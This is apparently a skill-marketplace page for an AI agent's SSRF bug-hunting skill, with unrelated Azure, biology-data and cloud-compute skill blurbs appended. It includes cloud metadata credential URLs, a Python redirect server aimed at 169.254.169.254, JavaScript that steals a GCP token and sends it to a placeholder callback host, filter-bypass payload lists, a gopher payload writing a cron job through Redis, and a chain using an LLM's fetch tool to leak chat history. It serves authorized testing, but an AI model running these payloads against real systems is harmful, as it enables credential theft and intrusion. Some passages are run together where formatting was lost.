Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions MSRC), DNS rebinding SSRF (Concrete CMS, GitLab UrlBlocker), gopher-protocol-to-Redis-RCE (Yahoo Mail $15k), link-preview SSRF (Reddit Matrix $6k), and headless-browser PDF-generator SSRF chains. Use when hunting SSRF on any target — OOB Collaborator confirmation mandatory for blind cases.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-ssrf
SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:
169.254.169.254 or metadata.google.internal, AWS IMDSv1)Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.
Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.
OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.
"The Web application at http://evil.example.com/x could not be found" — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.localhost. Different error responses can come from URL-scheme validators, not from actual fetching.dlsrcurl.<collab>,import.<collab>) only works if your listener actually reports the queried
subdomain back to you — verify that before relying on it. Burp's
get_collaborator_interactions keys results by payload ID, not by subdomain,
so several sub-tags generated from one payload are indistinguishable in the
output. When that is the case, **generate a fresh payload per candidate
parameter** and send exactly one request per payload.
Lesson from a authorized engagement: SharePoint's /_layouts/15/download.aspx?SourceUrl= returned 500 with the title "The Web application at <attacker-URL> could not be found". Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded zero DNS or HTTP interactions. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal SPFile/SPWebApplication resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.
A callback proves the server made a request. It does not tell you which
parameter caused it, and the fix depends entirely on that.
BAD — four candidate fields, one payload, fired in one batch
-> callbacks arrive, attribution impossible, retest required
GOOD — fresh payload per field, one request each, poll between
url -> callbacks <- this is the sink
apiUrl -> none
endpoint -> none
target -> none
Run the negative control. A parameter that produces *no* callback is evidence,
and it belongs in the report — it is what lets the client fix the right field
instead of allowlisting the wrong one.
Lesson from an authorized engagement. A server-side request-forwarding endpoint
accepted both url and apiUrl. The application's own stored config used apiUrl,
so that was the obvious suspect — but apiUrl was inert and **url was the live
sink**.
Batch-firing both had produced callbacks with no attribution; only per-payload
isolation identified the real parameter. A report naming apiUrl would have sent
the client to patch a field that does nothing.
After a callback confirms the request leaves the server, **check whether the
upstream response body is returned to you.** These are different findings:
internal service reached, or data returned, to be reportable.
read arbitrary internal endpoints directly.
# one request settles it: fetch something with a known, recognisable body
-d '{"url":"https://example.com/"}'
# {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
# ^ body returned = full-read, not blind
Also body-diff a known-internal target against a known-external one. A **distinct
status** on a link-local address (e.g. 401 from 169.254.169.254 where every
other target returns 200) is the metadata service answering — that proves reach
to a non-internet-routable address, which a status code alone otherwise cannot.
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
requests, node-fetch, axios)https://canarytokens.org — you need a unique per-test DNS/HTTP callback domain. url=https://YOUR.interactsh.com/test
Confirm the server makes an outbound connection. This proves execution before attempting internal targets.
http://metadata.google.internal/computeMetadata/v1/http://169.254.169.254/latest/meta-data/http://169.254.169.254/metadata/instance http://localhost/
http://127.0.0.1:8080/
http://127.0.0.1:6443/ (Kubernetes API)
http://127.0.0.1:2379/ (etcd)
http://127.0.0.1:9090/ (Prometheus)
http://127.0.0.1:9200/ (Elasticsearch)
<script> tags that make XMLHttpRequest or fetch() calls to internal servicesconnection refused vs timeout)10. Document the full chain with screenshots of each hop before reporting.
# Using interactsh-client
interactsh-client -v
# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"https://YOUR_ID.oast.pro"}'
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods # kubelet
http://127.0.0.1:2379/v2/keys # etcd
# Common internal services
http://127.0.0.1:6379/ # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:5601/ # Kibana
http://127.0.0.1:8500/v1/catalog/services # Consul
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
fetch('https://YOUR.callback.com/?d='+btoa(d))
})
// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://169.254.169.254/latest/meta-data/');
x.send();
x.onload = function(){
var img = new Image();
img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
-fs 0 -mc all
Metadata-Flavor header (GCP) allow unauthenticated credential access from any SSRF.localhost, 127.0.0.1, 169.254.x.x are blocked)# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/
# Decimal/octal/hex encoding of IP
http://2130706433/ (127.0.0.1 decimal)
http://0x7f000001/ (127.0.0.1 hex)
http://0177.0.0.1/ (octal)
http://127.1/ (short form)
http://0/ (resolves to 0.0.0.0)
# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html
# Subdomain pointing to internal IP
http://localtest.me/ (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)
# URL parser confusion
http://[email protected]/
http://127.0.0.1#evil.com
http://127.0.0.1%[email protected] (URL encoding)
http://evil.com\.127.0.0.1/ (backslash)
# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/
# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/
# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%[email protected]/
# When only http/https allowed but implementation is loose
http://169.254.169.254:[email protected]/
//169.254.169.254/
Before writing the report, confirm all three:
A public-facing "link preview" API accepted a url parameter and fetched the target server-side to generate thumbnail content. The feature ran on GCP Compute Engine with IMDSv1 enabled and no Metadata-Flavor header enforcement on the server side. By supplying url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token, the attacker received a valid OAuth2 access token for the instance's service account. The token granted access to internal GCP project resources including storage buckets containing user data. The attacker used JavaScript execution within a headless rendering context to exfiltrate the token via DNS-encoded subdomains, bypassing response body restrictions.
An attacker who could register a Kubernetes API extension server (metrics-server equivalent) returned 302 Location: http://127.0.0.1:6443/api/v1/secrets responses to the aggregation layer. Because the aggregation proxy followed redirects automatically without re-validating the destination against the internal network blocklist, the redirect caused the aggregation layer itself (running with elevated cluster credentials) to fetch internal Kubernetes API secrets and return them in the response. This effectively allowed an attacker with limited API registration privileges to escalate to full cluster secret read access — a critical privilege escalation via SSRF chained through trusted infrastructure components.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Cloud-metadata SSRFs across all three providers, DNS rebinding, gopher-to-Redis-RCE, link-preview SSRF, and headless-browser/PDF-generator chains are all represented.
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> into a template element rendered server-side; backend Ruby loop rendered the untrusted template HTML into PDF, reflecting IMDS response inside the rendered PDF / error messagepassword.liquid template to embed a request to http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google, then triggered the Exchange screenshotting service to render the template server-sideA records between 1.2.3.4 (public) and 169.254.169.254; needed 2-3 requests to win the race between validation and fetch; final request retrieved IAM role credentialsgopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE — wrote a cron via Redis to get command executiongopher://preview_url API (H1 #1960765)GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/ — varied internal IPs/ports; service names and IPs leaked through response differences before the fixendpointproxy URL parameter to attacker rebinding host; second resolution returned 169.254.169.254; chained CRLF injection to set required Metadata: true header for Azure IMDScloud-iam-deep — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → cloud-iam-deep privilege escalation reaches iam:CreateUser / sts:AssumeRole on cross-account roles.hunt-llm-ai — LLMs with fetch_url tools become SSRF proxies bypassing network egress controls. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history and IMDS token from the LLM container.hunt-rce — Internal Redis/Memcached are unauthenticated by default and reachable via gopher://. Chain primitive: SSRF + Gopher → internal Redis CONFIG SET dir + RCE via cron / SSH authorized_keys write.hunt-cloud-misconfig — Internal-only buckets/APIs become reachable through SSRF egress. Chain primitive: SSRF + DNS rebinding → SSRF-protected-endpoint bypass → internal /admin or private S3 bucket read.security-arsenal — Load the SSRF IP Bypass Table (11 techniques: decimal IP, IPv6 mapped, octal, suffix dot, DNS rebinding, redirect chain, etc.) before testing filters.triage-validation — Apply the OOB-Or-It-Didn't-Happen gate: every blind SSRF claim requires a Burp Collaborator hit with a unique marker before report submission.Assess Kubernetes workloads and cluster configuration for AKS Automatic compatibility. Identifies incompatibilities, generates fixes, and guides migration from AKS Standard to AKS Automatic. WHEN: migrate to AKS Automatic, check AKS Automatic readiness, validate manifests for Automatic, assess cluster for Automatic compatibility, fix deployment for Automatic compatibility, identify AKS Automatic migration blockers, is my cluster ready for AKS Automatic.
Discovers available Azure OpenAI model capacity across regions and projects. Analyzes quota limits, compares availability, and recommends optimal deployment locations based on capacity requirements. USE FOR: find capacity, check quota, where can I deploy, capacity discovery, best region for capacity, multi-project capacity search, quota analysis, model availability, region comparison, check TPM availability. DO NOT USE FOR: actual deployment (hand off to preset or customize after discovery), quota increase requests (direct user to Azure Portal), listing existing deployments.
Interactive guided deployment flow for Azure OpenAI models with full customization control. Step-by-step selection of model version, SKU (GlobalStandard/Standard/ProvisionedManaged), capacity, RAI policy (content filter), and advanced options (dynamic quota, priority processing, spillover). USE FOR: custom deployment, customize model deployment, choose version, select SKU, set capacity, configure content filter, RAI policy, deployment options, detailed deployment, advanced deployment, PTU deployment, provisioned throughput. DO NOT USE FOR: quick deployment to optimal region (use preset).
Unified Azure OpenAI model deployment skill with intelligent intent-based routing. Handles quick preset deployments, fully customized deployments (version/SKU/capacity/RAI policy), and capacity discovery across regions and projects. USE FOR: deploy model, deploy gpt, create deployment, model deployment, deploy openai model, set up model, provision model, find capacity, check model availability, where can I deploy, best region for model, capacity analysis. DO NOT USE FOR: listing existing deployments (use foundry_models_deployments_list MCP tool), deleting deployments, agent creation (use agent/create), project creation (use project/create).
Intelligently deploys Azure OpenAI models to optimal regions by analyzing capacity across all available regions. Automatically checks current region first and shows alternatives if needed. USE FOR: quick deployment, optimal region, best region, automatic region selection, fast setup, multi-region capacity check, high availability deployment, deploy to best location. DO NOT USE FOR: custom SKU selection (use customize), specific version selection (use customize), custom capacity configuration (use customize), PTU deployments (use customize).
This skill should be used when working with LaminDB, an open-source data framework for biology that makes data queryable, traceable, reproducible, and FAIR. Use when managing biological datasets (scRNA-seq, spatial, flow cytometry, etc.), tracking computational workflows, curating and validating data with biological ontologies, building data lakehouses, or ensuring data lineage and reproducibility in biological research. Covers data management, annotation, ontologies (genes, cell types, diseases, tissues), schema validation, integrations with workflow managers (Nextflow, Snakemake) and MLOps platforms (W&B, MLflow), and deployment strategies.
Latch platform for bioinformatics workflows. Build pipelines with Latch SDK, @workflow/@task decorators, deploy serverless workflows, LatchFile/LatchDir, Nextflow/Snakemake integration.
Run Python code in the cloud with serverless containers, GPUs, and autoscaling. Use when deploying ML models, running batch processing jobs, scheduling compute-intensive tasks, or serving APIs that require GPU acceleration or dynamic scaling.
Take elementalsouls/hunt-ssrf from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.